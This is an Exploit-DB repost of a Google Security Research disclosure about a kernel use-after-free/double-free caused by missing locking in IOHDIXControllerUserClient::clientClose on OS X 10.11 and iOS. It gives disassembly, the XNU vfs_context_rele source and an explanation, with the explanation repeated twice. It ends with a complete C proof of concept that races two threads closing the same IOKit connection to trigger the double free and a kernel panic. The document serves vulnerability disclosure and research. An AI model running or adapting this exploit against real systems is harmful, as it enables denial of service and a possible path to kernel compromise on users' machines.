Apple Mac OSX / iOS Kernel – IOHDIXControllUserClient::clientClose Use-After-Free/Double-Free

  • 作者： Google Security Research
    日期： 2016-01-28
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/39365/
  • /*
Source: https://code.google.com/p/google-security-research/issues/detail?id=599

OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose

Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:

__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38 pushrbp
__text:0000000000005B39 mov rbp, rsp
__text:0000000000005B3C pushrbx
__text:0000000000005B3D pushrax
__text:0000000000005B3E mov rbx, rdi
__text:0000000000005B41 mov rax, [rbx]
__text:0000000000005B44 xor esi, esi
__text:0000000000005B46 callqword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
__text:0000000000005B62 mov rdi, [rbx+200h]; <-- this+0x200 --+
__text:0000000000005B69 call_vfs_context_rele; pass to vfs_context_rele +- should be locked!
__text:0000000000005B6E mov qword ptr [rbx+200h], 0; NULL out this+0x200--+
__text:0000000000005B79 xor eax, eax
__text:0000000000005B7B add rsp, 8
__text:0000000000005B7F pop rbx
__text:0000000000005B80 pop rbp
__text:0000000000005B81 retn

At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:

int
vfs_context_rele(vfs_context_t ctx)
{
if (ctx) {
if (IS_VALID_CRED(ctx->vc_ucred))
kauth_cred_unref(&ctx->vc_ucred);
kfree(ctx, sizeof(struct vfs_context));
}
return(0);
}

This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;

Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.

This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. 

Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
*/

// ianbeer

// clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit
/*
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose

Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:

__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38 pushrbp
__text:0000000000005B39 mov rbp, rsp
__text:0000000000005B3C pushrbx
__text:0000000000005B3D pushrax
__text:0000000000005B3E mov rbx, rdi
__text:0000000000005B41 mov rax, [rbx]
__text:0000000000005B44 xor esi, esi
__text:0000000000005B46 callqword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
__text:0000000000005B62 mov rdi, [rbx+200h]; <-- this+0x200 --+
__text:0000000000005B69 call_vfs_context_rele; pass to vfs_context_rele +- should be locked!
__text:0000000000005B6E mov qword ptr [rbx+200h], 0; NULL out this+0x200--+
__text:0000000000005B79 xor eax, eax
__text:0000000000005B7B add rsp, 8
__text:0000000000005B7F pop rbx
__text:0000000000005B80 pop rbp
__text:0000000000005B81 retn

At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:

int
vfs_context_rele(vfs_context_t ctx)
{
if (ctx) {
if (IS_VALID_CRED(ctx->vc_ucred))
kauth_cred_unref(&ctx->vc_ucred);
kfree(ctx, sizeof(struct vfs_context));
}
return(0);
}

This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;

Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.

This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. 

Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_closehdix; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

void close_it(io_connect_t conn) {
IOServiceClose(conn);
}

void go(void* arg){

while(start == 0){;}

usleep(1);

close_it(*(io_connect_t*)arg);
}

int main(int argc, char** argv) {
char* service_name = "IOHDIXController";
int client_type = 0;

io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}

IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}

pthread_t t;
io_connect_t arg = conn;
pthread_create(&t, NULL, (void*) go, (void*) &arg);

usleep(100000);

start = 1;

close_it(conn);

pthread_join(t, NULL);

return 0;
}